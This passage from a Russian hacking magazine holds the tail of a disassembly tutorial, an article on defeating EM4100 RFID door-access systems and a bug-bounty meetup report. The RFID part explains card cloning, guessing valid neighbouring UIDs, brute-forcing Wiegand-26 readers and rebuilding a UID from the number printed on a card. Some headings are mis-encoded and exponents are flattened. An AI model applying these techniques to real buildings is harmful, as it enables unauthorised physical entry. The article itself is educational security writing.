.text:0000000140001041; Подготовка параметров для вызова функции max.
.text:0000000140001046 mov edx, [rsp+28h+arg_0]
.text:000000014000104A mov ecx, 666h
.text:000000014000104A; Вызов функции max.
.text:000000014000104F call sub_140001070
.text:0000000140001054 mov edx, eax
.text:0000000140001056 lea rcx, asc_140016328 ; "%x\
n"
.text:0000000140001056; Вывод результата на экран.
.text:000000014000105D call printf
.text:0000000140001062 xor eax, eax
.text:0000000140001064 add rsp, 28h
.text:0000000140001068 retn
.text:0000000140001068 main endp

«Так-так», — шепчем себе под нос. И что же он тут накомпилировал? Встра-


иваемую функцию представил в виде обычной! Вот дела! Компилятор забил
на наше желание сделать функцию встраиваемой (мы ведь написали
модификатор inline).
Ситуацию не исправляет даже использование параметров компилятора: /
Od или /Oi. Первый служит для отключения оптимизации, второй — для соз-
дания встраиваемых функций. Такими темпами компилятор вскоре будет
генерировать код, угодный собственным предпочтениям или предпочтениям
его разработчика, а не программиста, его использующего!
Остальное ты можешь увидеть в комментариях к дизассемблированному
листингу. Сравнивающая функция max в дизассемблированном виде будет
выглядеть так:

.text:0000000140001070 sub_140001070 proc near


.text:0000000140001070
.text:0000000140001070 arg_0 = dword ptr 8
.text:0000000140001070 arg_8 = dword ptr 10h
.text:0000000140001070
.text:0000000140001070 mov [rsp+arg_8], edx
.text:0000000140001074 mov [rsp+arg_0], ecx
.text:0000000140001078 mov eax, [rsp+arg_8]
.text:0000000140001078; Сравнение значений, переданных в параметрах.
.text:000000014000107C cmp [rsp+arg_0], eax
.text:
000000014000107C; Если первый операнд меньше второго или равен ему,
.text:000000014000107C; переходим на метку, где возвращается второй
.text:000000014000107C; операнд.
.text:0000000140001080 jle short loc_140001088
.text:0000000140001080; В обратном случае возвращаем первый операнд.
.text:0000000140001082 mov eax, [rsp+arg_0]
.text:0000000140001086 jmp short locret_14000108C
.text:0000000140001088 ; --------------------------------------------
.text:0000000140001088
.text:0000000140001088 loc_140001088:
.text:0000000140001088 mov eax, [rsp+arg_8]
.text:000000014000108C
.text:000000014000108C locret_14000108C:
.text:000000014000108C retn
.text:000000014000108C sub_140001070 endp

Здесь тоже все важные фрагменты прокомментированы.


Напоследок предлагаю откомпилировать и рассмотреть следующий при-
мер (Listing8). Он немного усложнен по сравнению с предыдущим, в нем
в качестве одного из значений для сравнения используется аргумент коман-
дной строки, который преобразуется из строки в число и при выводе обратно.

#include <iostream>
#include <sstream>
#include <string>
using namespace std;

// Встраиваемая функция нахождения максимума.


inline string max(int a, int b)
{
int val = (a > b) ? a : b;
stringstream stream;
// Преобразуем значение в hex-число.
stream << "0x" << hex << val;
string res = stream.str();
return res;
}

int main(int argc, char **argv)


{
cout << max(0x666, 0x777) << endl;
string par = argv[1];
int val;
// Если впереди параметра есть символы '0x',
if (par.substr(0, 2) == "0x")
// тогда это hex-число.
val = stoi(argv[1], nullptr, 16);
else
// В ином случае это dec-число.
val = stoi(argv[1], nullptr, 10);
cout << max(0x666, val) << endl;
cout << max(0x666, val) << endl;
return 0;
}

VS Code

Сразу в начале своего выполнения программа вызывает встраиваемую фун-


кцию, передавая ей два шестнадцатеричных числа. В качестве результата
функция возвращает большее из них, преобразованное в шестнадцатерич-
ный формат. После чего основная функция выводит его в консоль.
Следующим действием программа берет параметр командной строки.
Она различает числа двух форматов: десятичные и шестнадцатеричные,
определяя их по отсутствию или наличию префикса 0x. Два последующих
оператора идентичны, в них происходят вызовы функции max, которой оба
раза передаются одинаковые параметры: 0x666 и параметр командной стро-
ки, преобразованный из строки в число. Эти два последовательных операто-
ра, как и в прошлый раз, позволят нам проследить вызовы функции.

Вывод приложения

Вместе с дополнительной функциональностью соответственно увеличился


дизассемблерный листинг. Тем не менее суть происходящего не изменилась.
Чтобы не приводить его здесь (он занимает реально много места), пред-
лагаю тебе разобраться с ним самостоятельно.

ÂÛÂÎÄÛ

Тема идентификации ключевых структур очень важна, хотя бы потому, что


в современных языках программирования этих структур великое множество.
И в сегодняшней статье мы только начали рассматривать функции. Ведь, кро-
ме приведенных выше функций (обычных, голых, встраиваемых) и способов
их вызова (непосредственный вызов, по указателю, с комплексным вычис-
лением адреса), существуют также виртуальные, библиотечные. Кроме того,
к функциям можно отнести конструкторы и деструкторы. Но не будем
забегать вперед.
Прежде чем переходить к методам объектов, статическим и виртуальным
функциям, надо научиться идентифицировать стартовые функции, которые
могут занимать значительную часть дизассемблерного листинга, но анализи-
ровать которые нет необходимости (за небольшими исключениями).
ВЗЛОМ

АТАКУЕМ СИСТЕМЫ
КОНТРОЛЯ ДОСТУПА
НА ОСНОВЕ RFID

Взлом электронных турникетов на входе


в здание — заветный хакерский флекс,
который так любят показывать в кино.
В этой статье я расскажу о системах кон-
троля и управления доступом (СКУД) Thund3rb0lt
Реверс-инженер. В
на основе RFID, и мы вместе разберемся, свободное время увлекаюсь
физической безопасностью.
насколько просто подделать самый рас- lexploit@gmail.com

пространенный идентификатор EM4100.

• ÑÊÓÄ (англ. PACS) — комплекс оборудования, предназначенный


для ограничения доступа на охраняемом объекте. Минимальная кон-
фигурация такой системы — это бухой вахтер электронный замок на осно-
ве RFID.
• RFID — способ автоматической идентификации объектов с помощью
радиосигналов, хранящихся на транспондерах (RFID-метках).
• RFID-ìåòêà — сборное устройство для хранения информации, сос-
тоящее из интегральной схемы (чипа) для выполнения операций с сиг-
налом и информацией, антенны для передачи и приема сигнала и, опци-
онально, батареи питания (не распространено в повседневном примене-
нии — дорого и избыточно).

Более подробную информацию о RFID можно найти в Википедии.

EM410X — крайне популярная модельная линейка идентификаторов, раз-


работанная компанией EM Microelectronics. В повседневной жизни они при-
меняются самыми разными способами: от использования в СКУД государс-
твенных (и не только) учреждений до маркировки и учета животных.
Сюда входят чипы с идентификаторами EM4100, EM4102,
EM4105 и EM4200, которые различаются объемом памяти (от 64 до 128 бит)
и областью применения.

Èäåíòèôèêà- Îáúåì Ðàçìåð Ñôåðà ïðèìåíå-


òîð ïàìÿòè UID íèÿ

EM4100 64 бита 5 байт СКУД, логистика

Маркировка живот-
EM4102 64 бита 5 байт
ных

Маркировка живот-
EM4105 128 бит 8 байт
ных

EM4200 128 бит 8 байт СКУД, логистика

Формально все эти идентификаторы работают на частоте 125 кГц, однако


могут использовать диапазон частот 100–150 кГц.
Наиболее широко используются (и просты в понимании) идентификаторы
EM4100, поэтому мы остановимся именно на них.

ÊÀÊ ÓÑÒÐÎÅÍ EM4100?

Структура данных в идентификаторе EM4100 выглядит следующим образом.

Самая важная для нас в этой схеме группа из голубых и синих битов, которые
вместе составляют 5 байт (40 бит) и служат уникальным идентификационным
кодом RFID-метки.
На этом теоретическая часть окончена. Давай посмотрим, как выглядят
атаки на подобные системы.

ÂÅÊÒÎÐÛ ÀÒÀÊ ÍÀ ÑÊÓÄ Ñ EM410X

Ни в одной из вариаций у EM410X нет криптографии или какого-то другого


способа защиты. Поэтому все векторы атак, которые мне удалось обна-
ружить, связаны либо с принципиальными недостатками самих идентифика-
торов, либо с их небезопасной эксплуатацией.
В качестве цели атаки давай рассмотрим автономную (не интегрирован-
ную с прочими системами) СКУД с бесконтактными считывателями.
Это самый простой вариант для понимания и воспроизведения атаки.
Итак, наша цель — получение как минимум одного постоянного физичес-
кого доступа в помещение, вход в которое ограничен с использованием этой
технологии.

Êîïèðîâàíèå îðèãèíàëüíîãî ïðîïóñêà


Поскольку EM410X не использует никакой защиты передаваемых данных, их
копирование не представляет ни малейшей сложности.
Я не буду здесь рассматривать получение валидного пропуска
для копирования, как и сам процесс создания клона. Все это может сильно
различаться в конкретных случаях. Особо любопытствующим могу пореко-
мендовать гайды от Lab401 и Dangerous Things.
Однако это слишком просто, не правда ли? Как насчет того, чтобы нем-
ного расширить количество доступных нам валидных пропусков без получе-
ния их оригинальных физических копий?

Ãåíåðàöèÿ íîâûõ UID íà îñíîâå ñóùåñòâóþùèõ


Представим, что у нас есть абстрактная организация, СКУД в которой
использует идентификаторы EM4100. Станет ли она закупать каждый из них
по отдельности?
Зайдем с другой стороны. Что будет проще для специалиста, который нас-
траивает систему: заносить каждый идентификатор в базу по отдельности
или зарегистрировать их группой?
Скорее всего, ты уже понял, к чему я пытаюсь тебя подвести. При извес-
тном UID одного из валидных идентификаторов с большой вероятностью
«соседние» по значению UID-идентификаторы тоже будут распознаны сис-
темой как валидные.
Рассмотрим пример: у нас есть идентификатор с UID 12 00 EC DA A1.
При увеличении (или уменьшении) старшего байта мы должны получить также
валидное для системы значение идентификатора. Таким образом, сле-
дующие UID будут иметь значения

12 00 EC DA A2
12 00 EC DA A3
12 00 EC DA A4
12 00 EC DA A5
12 00 EC DA A6
...

Все они с высокой долей вероятности будут валидными.


Действительно ли это так? Не всегда. На практике в системе может
не быть каких-то идентификаторов из списка или их могли заблокировать.
Проверить это можно только вживую на конкретном примере, но разве это не
добавляет в задачу немного здорового азарта?

Áðóòôîðñ çíà÷åíèé èäåíòèôèêàòîðîâ


При виде списка из предыдущего пункта у тебя мог возникнуть вполне логич-
ный вопрос: возможно, быстрее и надежнее будет воспользоваться брут-
форсом? И действительно, это не худший вариант, благо для его реализации
существует множество удобных решений, таких как Flipper Zero, Proxmark III
и DIY на Arduino. Единственный минус такого метода — сотрудники охраны
явно не будут просто стоять и смотреть, как ты подносишь к считывателю
странное устройство.
Кстати, раз уж мы заговорили о методе грубой силы, как насчет посчитать
общее количество возможных значений идентификаторов? Если ты с ходу
ответил: 2565 вариантов, то мои поздравления!
Хотя, стоп... а всегда ли 2565?

Ïàðà ñëîâ î ñ÷èòûâàòåëÿõ


Мы пока что говорили только об идентификаторах и тех проблемах, которые
связаны конкретно с ними. Но как насчет считывателей идентификаторов,
которые и «принимают решение», пропускать то или иное лицо на охра-
няемый объект?
Что ж, тут есть свои нюансы. Хотя количество байтов, составляющих UID
идентификатора, никогда не меняется (их всегда пять), это не означает, что
все они будут использоваться для проверки валидности.
Вероятно, ты сейчас не совсем понимаешь, как такое возможно. Чтобы
выйти из этой неловкой ситуации, советую прочитать статью про Wiegand —
широко распространенный интерфейс связи между устройством чтения
идентификатора и контроллером.
Если кратко, то большинство «дешевых», а также старых систем СКУД
используют Wiegand-26, который способен передавать только 24 бита дан-
ных (и 2 бита четности), что, как ты понимаешь, существенно сокращает рас-
считанный нами ранее пул возможных значений идентификатора до 2563.
Соглашусь, это все еще много. Хотя есть один способ сократить их число
до 256 либо отбросить необходимость брутфорса в целом...

Êîìïðîìåòàöèÿ çà îäíî ôîòî


Никогда не задумывался, что за странные цифры нанесены на твою RFID-кар-
ту?

Конечно, они здесь не просто так. На самом деле по факту эти цифры явля-
ются частью UID, но в десятичном формате.
Рассмотрим пример с этой карты:
• 0008671306 = 0x0084504A — 4 байта UID;
• 132 = 0x84 — ID клиента отдельно;
• 20554 = 0x504A — 2 старших байта отдельно.

Оригинальный UID идентификатора: 4E 00 84 50 4A.

На всех идентификаторах, которые мне удалось


достать, второй байт всегда оказывался нулевым.
Неизвестно, совпадение это или негласная
договоренность производителей.

Получается, часто всего по одной фотографии идентификатора можно соз-


дать его валидную для проверяющей системы копию либо понизить количес-
тво перебираемых значений вплоть до 256 вариантов. Неплохо, правда?

ÌÅÒÎÄÛ ÇÀÙÈÒÛ

Теперь, когда ты узнал о возможных векторах атак на СКУД, у тебя наверняка


возник вопрос: можно ли защититься от рассмотренных выше атак
или хотя бы смягчить их последствия?
И да, и нет. Несмотря на то что производители таких систем разрабаты-
вали способы выявления «клонов», внедрение дополнительных систем про-
верки идентификаторов нецелесообразно, и наиболее простым решением
будет перейти на Mifare 1k — не менее популярные идентификаторы, но уже
с поддержкой криптографии, которые мы рассмотрим в следующей статье.
ВЗЛОМ

ШЕСТЬ ДОКЛАДОВ,
КОТОРЫЕ СТОИТ
ПОСМОТРЕТЬ БАГХАНТЕРУ

Третий митап Standoff Talks состоял-


ся 14 мая 2023 года в лофте «Весна», тема
встречи на этот раз была одна — багбаун-
ти. Теплым воскресным днем багхантеры
и держатели ББ-программ собрались FearZzZz
Непрерывно двигайся. Ад
под крышей уютного лофта, чтобы пожирает праздных. AppSec,
Bug Bounty, Legal Hacking.
поделиться своим опытом друг с другом, Telegram channels: @razehell,
@lockpick
прерываясь на приватные беседы и не vladfearzzzz@gmail.com

забывая бодриться кофе. Основной частью


митапа были доклады.

• Áàóíòè — вознаграждение, в нашем контексте — за найденные уяз-


вимости.
• Áàãõàíòåð — этичный хакер, исследователь безопасности, выявляющий
ошибки и уязвимости (не всегда работая за награду).
• Ïðîãðàììà áàãáàóíòè — комплекс мер, позволяющий привлекать баг-
хантеров для тестирования ПО, сервиса или продукта.
• Õîëäåð ÁÁ ïðîãðàììû — компания, запустившая свою багбаун-
ти-программу.
• Òðèàæ — процесс рассмотрения отчета, проверки уязвимостей и при-
нятия решений о дальнейших действиях, в том числе о выплате баунти.

1. ÁÀÃÁÀÓÍÒÈ È WORDPRESS: ÈÑÒÎÐÈß ÎÄÍÎÉ ÏÐÎÃÐÀÌÌÛ


ÁÀÃÁÀÓÍÒÈ ÑÍÀÐÓÆÈ È ÈÇÍÓÒÐÈ

• Äîêëàä÷èê: Âëàä FearZzZz


• Çàïèñü äîêëàäà

Мне повезло выступить первым на этом митапе, сразу после короткого всту-
пительного слова от организаторов.
Я рассказал слушателям о своем опыте исследования экосистемы
WordPress и о том, как меня сначала пригласили в закрытую багбаунти-прог-
рамму, а полгода спустя — уже в команду организатора этой программы
на роль исследователя безопасности.
В мае 2023-го, что символично, WordPress исполнилось двадцать лет.
Было интересно подвести некоторый промежуточный итог и переосмыслить
достижения и актуальное состояние, прежде всего вопросов безопасности
этой системы. Вне всяких сомнений, это самый популярный движок на рынке,
и он весьма безопасен, если говорить именно о ядре — WordPress Core.
А вот с багбаунти у WordPress не все радужно.
Не секрет, что у WordPress есть сразу две официальные ББ-программы
на HackerOne: WordPress и Automattic. Скоуп приличный, но покрывает он
только сервисы и плагины компании, а также само ядро движка. Выплаты
скромные: не встречал наград выше 800 долларов США, и это за критическую
уязвимость.

Неофициальные багбаунти-программы тоже существуют, но похвастаться


известностью или большим скоупом не может ни одна из них. Исключением
можно назвать разве что Elementor — там платят бодрее, чем в официальной
багбаунти-программе WordPress (например, выплатили 4000 долларов
за прикольную XSS).
Случается, что из-за скромных выплат исследователи начинают примерять
на себя «черную шляпу» и продают уязвимости на сторону либо занимаются
взломом на заказ. В деньгах это получается гораздо выгоднее, хотя и крайне
рискованно, поскольку может повлечь последствия юридического характера.
Я, естественно, призываю всех работать легально и сдавать баги вендору.
Затем я рассказал о компании Patchstack, которая в 2021 году запустила
уникальную закрытую ББ-программу для уязвимостей в WordPress. В чем зак-
лючалась новизна этого решения?
Во-первых, принимались баги как в ядре движка, так и в плагинах и темах,
причем и бесплатных, и премиум. Во-вторых, попасть в эту ББ-программу
можно было только по приглашению и имея подтвержденные уязвимости, то
есть новичков среди участников не было. Третий момент — возможность экс-
плуатации недоработанных правил программы, чем я сразу и занялся и что
давало возможность на протяжении пяти месяцев оставаться на первом при-
зовом месте. На шестой месяц я уже получил приглашение в команду
Patchstack, и это открыло путь к совершенно новому опыту в моей жизни.
Вторую часть доклада я уже читал с позиции сотрудника компании и три-
ажера, рассказывая об очевидных проблемах и их решениях. Завершил док-
лад советами, которые пригодятся багхантерам и триажерам. Ключевая
рекомендация — совершенствовать коммуникационные скиллы и общаться
конструктивно и уважительно. Эту же мысль, кстати, в последующих докладах
неоднократно озвучивали коллеги, что явно намекает на ее актуальность.

2. ÈÇ ÁÀÃÁÀÓÍÒÈ Â ÏÅÍÒÅÑÒÛ È ÎÁÐÀÒÍÎ

• Äîêëàä÷èê: Àëåêñåé Òîìèëîâ


• Çàïèñü äîêëàäà

Алексей — опытный пентестер и багхантер «старой школы», начавший охоту


за багами еще в конце нулевых. Напомню, что в те годы никаких ББ-прог-
рамм, в общем-то, и не существовало, так что приходилось действовать
на свой страх и риск. Как это было раньше: находишь уязвимость, а потом
штурмуешь компанию со всех сторон — от формы обратной связи и тех-
нической поддержки до звонков по всем указанным номерам телефонов.
Не секрет, что большая часть таких обращений уходит в /dev/null/ с подачи
сотрудников компании, и эта знакомая сердцу багхантера традиция благопо-
лучно дожила до наших дней в первозданном виде.
Затем Алексей рассказал об интересном случае из личной практики, когда
он передал компании информацию о найденной SQL-инъекции, а год спустя
случайно обнаружил, что сотрудник технической поддержки тогда присвоил
находку себе. И даже получил от начальства премию за бдительность и вне-
запно открывшиеся навыки безопасника. Ситуация неприятная, но это опыт.
Всегда нужно устанавливать связь с лицами, принимающими решения.

Следующий пример из практики — классический IDOR (сокращенно


от Insecure Direct Object References — небезопасная прямая ссылка на объ-
ект), позволявший подглядывать за чужими транзакциями на сайте компании
«Кредитэкспресс Финанс». Алексею открылся вагон персональных данных,
не предназначенных для глаз третьих лиц. Но за полгода не удалось рас-
качать сотрудников компании и добиться адекватной реакции. Итогом про-
тивостояния стал опубликованный на «Хабре» материал, раскрывающий
детали выявленной уязвимости, с не менее интересными последствиями.
Какими именно? Смотри доклад, и узнаешь сам! :)
Набравшись опыта, Алексей переключился на цели покрупнее: сначала
Яндекс (у них есть своя ББ-программа), затем платформа HackerOne,
на которой исследователь оттачивал навыки, находя баги для British Airways
и Booking.com. Это интересные кейсы, хотя каждый раз с печальной кон-
цовкой: все усилия не привели к долгожданным вознаграждениям даже
при наличии PoC-видео и дополнительной информации. Проблема ком-
муникации? Вполне возможно, но продолжать работу Алексей предпочел уже
в области пентестов. По словам Алексея, опыт багхантинга очень пригодился
при пентестах.

3. ÎÏÛÒ Ó×ÀÑÒÈß Â ÁÀÃÁÀÓÍÒÈ ßÍÄÅÊÑÀ

• Äîêëàä÷èê: Ìàêñèì Áðàãèí


• Çàïèñü äîêëàäà

Максим — багхантер и ведущий пентестер в Singleton Security. В своем док-


ладе он показал статистику своих набегов на ББ-программу Яндекса
за 2022 год, поделился выводами и рассказал про способы автоматизации
охоты за багами.
По словам Максима, у Яндекса огромное количество целей для иссле-
дования. Сервисов и приложений столько, что есть где развернуться!
Другой плюс этой ББ-программы — возможность совмещать приятное
с полезным, ведь ты тестируешь те сервисы, которыми пользуешься сам едва
ли не ежедневно. Менее очевидное достоинство широкого скоупа — низкая
конкуренция.
Без минусов тоже не обошлось, и докладчик выделил три основных: проб-
лемы с SLA (известная проблема), ощущение недооцененности обнаружен-
ных уязвимостей и непрозрачная система вознаграждений. Интересный
нюанс, который Яндекс нигде не обозначил: все хосты и сервисы внутри ком-
пании разделены на уровни по степени критичности, в то время как выплаты
на сайте обозначены в виде общего диапазона. То есть у багхантера никогда
нет четкого понимания того, сколько будет стоить найденная уязвимость.
Отмечу, что в докладе Ивана Чалыкина (следующий в списке) мы узнаем,
почему так вышло.

Максим показал наглядный график своей работы в этой ББ-программе,


на котором видно, что всего за 2022 год он отправил в компанию 46 отчетов
о найденных уязвимостях, но только 27 из них были приняты и оплачены.
Остальные помечены как дубликаты или N/A — нерабочие уязвимости. Как бы
то ни было, свой вклад в безопасность сервисов и приложений Яндекса Мак-
сим точно сделал, и это круто!

Уязвимость получает статус N/A («не примени-


мо»), то есть баг не подходит по правилам
ББ-программы. Из неприятных еще бывают ста-
тусы duplicate, когда уязвимость уже найдена
другим багхантером, и informative, когда баг при-
няли к сведению, но посчитали недостаточно
важным для выплаты баунти.

Кстати, об уязвимостях. Докладчик любезно подсветил зрителям три наибо-


лее часто встречающихся типа уязвимостей: IDOR, раскрытие чувствительной
информации и XSS. Не сказать, что это неожиданность, но полезно лишний
раз убедиться.
После этого Максим рассказал об автоматизации, ее плюсах и способах
реализации. Так, багхантер обязан взять на вооружение постоянную раз-
ведку: выявление новых доменов, сервисов, приложений и тому подобных
вещей. Второе правило — отслеживать изменения в самих веб-приложениях,
и тут преимущество у тех, кто успешно практикует предыдущий шаг. Третье,
что посоветовал докладчик, — использовать сканер Nuclei, позволяющий
автоматизировать ряд процессов.
Максим обозначил три главных вывода:
• в 2023 году разведка актуальна и является хорошей инвестицией времени
багхантера;
• окупаются все финансовые вложения в платные сервисы, нужные
для работы (необходимость платить часто отпугивает багхантеров);
• исследование проблем контроля доступа — отличное вложение сил и вре-
мени.

В конце доклада Максим рассказал о нескольких интересных кейсах из сво-


его опыта. В общем, рекомендую послушать, особенно полезно это будет
новичкам.

4. ×ÒÎ ÏÎÄ ÊÀÏÎÒÎÌ Ó «ÎÕÎÒÛ ÇÀ ÎØÈÁÊÀÌÈ»

• Äîêëàä÷èê: Èâàí ×àëûêèí


• Çàïèñü äîêëàäà

Первый доклад от представителя компании, имеющей свою ББ-программу.


Для меня он прояснил ряд важных и интересных нюансов.
В прошлом Иван — пентестер, багхантер, а ныне — тимлид одной
из команд Яндекс Маркета. В своем докладе он доступно рассказал
о ББ-программе Маркета, о том, что происходит после сдачи отчета иссле-
дователем и какие внутренние этапы проходит принятый отчет. Также Иван,
сопровождая повествование статистикой, посоветовал, что нужно, а что
не нужно делать.
У Яндекса больше 100 сервисов, и у самых крупных проектов есть свои
команды безопасников. Ради порядка и ясности процессов очень важно нап-
равлять отчеты в нужные отделы, сервисы и команды. Начинается все с фор-
мы сдачи отчета, которую Иван настоятельно рекомендует заполнять только
актуальными данными, воздерживаясь от всевозможных шуток.
После отправки данных через форму отчет на стороне компании прев-
ращается в тикет, после чего триажер должен проверить, действительно ли
это отчет о найденной уязвимости или просто описание бага. Также проверя-
ется наличие PoC. Такие проверки нужны из-за неаккуратности исследова-
телей и спешки, и, конечно, они создают определенную нагрузку на ком-
панию.

Следующий этап — триаж, сопровождаемый проверкой предоставленных


данных на актуальность и новизну. Судя по тому, что Иван затронул вопрос
прозрачности этих процессов, в компании знают о том, что здесь требуются
улучшения, и стараются учитывать позицию и резонные ожидания исследова-
телей.
Затем оценивается импакт уязвимости. Сотрудники Яндекса делают пред-
положения о действиях злоумышленника при наихудшем сценарии. На этом
этапе при необходимости инициируются дополнительные проверки внутри
компании, и на это тоже уходит время.
Дальше — определение размера вознаграждения. Как говорил в своем
докладе Максим Брагин, тут прозрачности очень не хватает. Предполагается,
что ключевые сервисы компании приносят больше денег багхантеру,
но искать уязвимости в них все сложнее и сложнее. В то время как менее
популярные и новые сервисы скорее подойдут новичкам — находить уяз-
вимости в них легче, но и выплаты будут скромнее. Логично? Логично.
Самый затратный по времени этап — это работа бухгалтерии. Тут нужно
множество внутренних проверок, а иногда дополнительных действий. Мне
запомнился слайд, схематично иллюстрирующий этот процесс, — зрелище
впечатляющее.
Следом Иван перешел к советам для багхантеров. Первый — работать
над качеством отчетов. Все просто: чем качественнее написан отчет, тем
быстрее его разберут и обработают триажеры. Важны все детали: как баг-
хантер пришел к этой уязвимости, как она сработала, какие нужны шаги
для воспроизведения, какие запросы нужно отправлять. Да и PoC-видео лиш-
ним точно не будет.
Следующий совет — повторно проверять те же уязвимости через пару
месяцев на случай, если в компании забыли что-то исправить или случайно
оставили возможность обойти патчи и проэксплуатировать уязвимость слегка
иначе. Так можно легко получить еще одно вознаграждение.
Иван подчеркнул, что Яндекс не экономит на выплатах исследователям
и компания рада платить хорошие деньги за уязвимости. Как ты понял,
это намек на известную проблему, когда в компаниях получают отчет об уяз-
вимостях, а багхантерам платить не торопятся.
Иван затронул и вопрос коммуникаций. Вкратце: если уж берешься спо-
рить и что-то выяснять, то делай это адекватно, аргументированно и без эмо-
ций.

« «Ñòàðàéòåñü íåìíîãî âûõîäèòü çà ðàìêè ñòàíäàðòíîãî», — Èâàí


×àëûêèí
»
Финальная часть доклада была посвящена статистике: в среднем компания
получает по 120 отчетов ежемесячно; самая большая единоразовая выплата
составила 2 миллиона рублей за IDOR; еще одна крупная выплата по акции
составила 12 миллионов рублей за цепочку уязвимостей XSS → SSRF → RCE,
которая, по словам Ивана, заслуживает отдельного доклада. Топовыми
типами уязвимостей Иван назвал те же, что и Максим в своем докладе,
это IDOR и XSS.

5. BIG BB BROTHER IS WATCHING YOU

• Äîêëàä÷èê: Àëåêñåé Ãðèøèí


• Çàïèñü äîêëàäà

Алексей Гришин на этом митапе представлял команду VK и начал свое выс-


тупление с рассказа о доступных ББ-программах компании. Багбаунти-прог-
рамма VK размещается на всех трех российских платформах: Standoff 365,
BI.ZONE Bug Bounty и BugBounty.ru.
Скоуп огромен, и в нем даже есть категория «Все другое» — на случай,
если багхантера одолеют сомнения, куда именно слать репорт. Алексей
отметил, что хантеры иногда пытаются хитрить, отправляя одну уязвимость
на две разные платформы. И обрисовал огромный круг задач своей команды:
нужно поддерживать актуальную информацию на всех платформах, работать
с бюджетами и отчетностями и, конечно, проверять сами уязвимости.
Алексей рассказал, что полученные отчеты сперва просматривает ана-
литик, проверяя валидность данных и фильтруя мусор. После этого к работе
подключается специальный бот, который забирает валидные отчеты. Они,
в свою очередь, назначаются на ответственных сотрудников. Исследователи
получают уведомления по ходу движения отчета внутри компании. Заодно
накапливается полезная статистика по багам: где и какие уязвимости чаще
встречаются.
За первый квартал 2023 года, по данным VK, валидным и полезным был
лишь каждый второй отчет. От валидных отчетов доля критических уязвимос-
тей составила 5%, а остальные 95% — стандартные уязвимости.

По данным Алексея, увеличение вознаграждения стимулирует интерес баг-


хантеров к ББ-программе. Помогают в этом и PR-активности, да и репутация
компании играет немалую роль. Тут же прозвучал известный факт, что чем
медленнее компания реагирует на отчеты, тем меньше интерес багхантеров
к ее программе.
В докладе зашла речь и о самих исследователях. Профилирование баг-
хантеров важно, поскольку может понадобиться выбирать специалистов,
которых можно допустить к инфраструктуре. Также важно понимать финан-
совые ожидания исследователей, ведь специалист не будет тратить свое
время на невыгодные программы. От багхантеров, что логично, ожидается
результативность, неконфликтность и способность писать качественные
отчеты.
Как оцениваются исследователи командой VK? Анализ происходит
по многим критериям, что позволяет оценить багхантера не только
по какому-то одному параметру. А еще Алексей развеял миф о том, что боль-
шое количество N/A или «информативов» в отчете портит репутацию баг-
хантеру. В доказательство Алексей привел интересный пример, но я не буду
его пересказывать — лучше посмотри доклад.

6. ÊÀÊ ÍÀÕÎÄÈÒÜ ÁÀÃÈ ÍÀ ÁÀÃÁÀÓÍÒÈ È ÍÅ ÇÀÄÀËÁÛÂÀÒÜÑß

• Äîêëàä÷èê: Àíàòîëèé Èâàíîâ


• Çàïèñü äîêëàäà

Анатолий Иванов начал свой доклад с краткого рассказа о себе и о своем


опыте в багбаунти. До 2021 года он охотился за багами на HackerOne
и посещал тематические мероприятия, порой бодрится CTF’ками, да и
в целом он давно погружен в ИБ. Сейчас Анатолий — руководитель нап-
равления развития багбаунти Standoff 365.
За основу выступления Анатолий взял гипотетический пример ситуации,
когда вымышленному герою нужны деньги для выплаты ипотеки. В начале
у него ноль денег, зато есть определенные скиллы.

« «Áàãáàóíòè — ýòî ñèëüíî ïðîùå, ÷åì âñå äóìàþò!» — Àíàòîëèé Èâàíîâ

Первый рассмотренный кейс касался приложения, собирающего метрики


»
и прочие подобные данные. Изначально предлагаемый исследователям уро-
вень доступа был гостевым и оттого довольно бесполезным. Немного
покопавшись на маркетинговом сайте, Анатолий смог запросить демодоступ
к тому же приложению, но уже с предоставленными данными администра-
тора, так что и до заветного RCE осталось рукой подать. Вот так просто.
Спикер тут же отметил нюанс: из-за кривых прав доступа все нужные
для эксплуатации данные можно было получить и из исходного кода,
но нажать три кнопки всяко быстрее и проще. Не поспоришь.
Еще один полезный совет: перепроверять баги, которые обозначены
как исправленные. Исправляется не всё и не всегда, а для багхантера
это может быть возможностью легко заработать.

На втором кейсе Анатолий продемонстрировал, что стоит искать уязвимости


не только в веб-приложениях, но и в мобильных. Но поскольку большинство
багхантеров ленится это делать, конкуренции здесь меньше и больше шан-
сов на награду.
Третий кейс был связан с React. Читать код бандлов размером по нес-
колько мегабайтов, мягко говоря, не вариант, но хотя бы часть исходников
все же можно прочитать.
На четвертом примере Анатолий показал, как важно выбирать правильную
цель для исследования, ограничивать скоуп и углублять исследование. Чем
больше ты узнаешь о цели, тем более интересные баги найдешь.
Пятый кейс был посвящен высокозащищенным целям. Точнее, тем слу-
чаям, когда мощная защита — это видимость. Порой бывает выгодно охо-
титься за уязвимостями там, где, казалось бы, уже все что можно нашли и за
все возможные ручки подергали много раз. Но нет-нет да находятся уяз-
вимости, стоит лишь сфокусировать внимание на аномалиях.
На примере шестого кейса Анатолий показал, как полезно вовремя обра-
щаться за помощью к коллегам, чтобы не биться над проблемой в гордом
одиночестве. Порой выход из тупиковой ситуации гораздо ближе к нам, чем
мы думаем.
Заключительный кейс — седьмой — про интерес и выгоду от работы
в команде с коллегами и друзьями.
Итог: доклад окончен, а наш лирический герой Анатолий выплачивает ипо-
теку и съезжает со своей супругой от мамы. Жизнь удалась!

ÎÁÙÈÅ ÂÏÅ×ÀÒËÅÍÈß

Накануне Standoff Talks в том же лофте «Весна» прошел первый Standoff


Hacks, и прошел весьма успешно. Так, что некоторым участникам удалось
раскачаться только к середине Talks. В этом смысле оба мероприятия орга-
нично друг друга дополнили: основная буря событий пришлась на субботу, а в
воскресенье можно было расслабиться, слушая доклады, общаясь с кол-
легами и дегустируя закуски.

Всю палитру ощущений и эмоций от Standoff


Hacks багхантер Лалка кратко описал у себя
в Telegram.

После формальной части встречи всех желающих ждала завершающая часть


Talks — вечеринка с алкоголем и энергичным диджеем. Декорации помеще-
ния сменились так стремительно, что я как будто случайно попал в ночной
клуб.
В целом мне понравилась идея тематической встречи. Ощущение, что
впитываешь концентрат полезной информации. А еще был заметен контраст
двух сторон — багхантеров и холдеров багбаунти-программ. Именно такие
встречи позволяют решать все трения между ними.

ÂÛÂÎÄÛ

Я заметил, что некоторые вопросы звучали наиболее часто, встречаясь прак-


тически в каждом докладе в том или ином виде:
• Вопрос «CTF vs багбаунти vs пентест» в народе своей актуальности
не теряет. Молодые энтузиасты все еще пытаются понять, что лучше,
выгоднее и перспективнее.
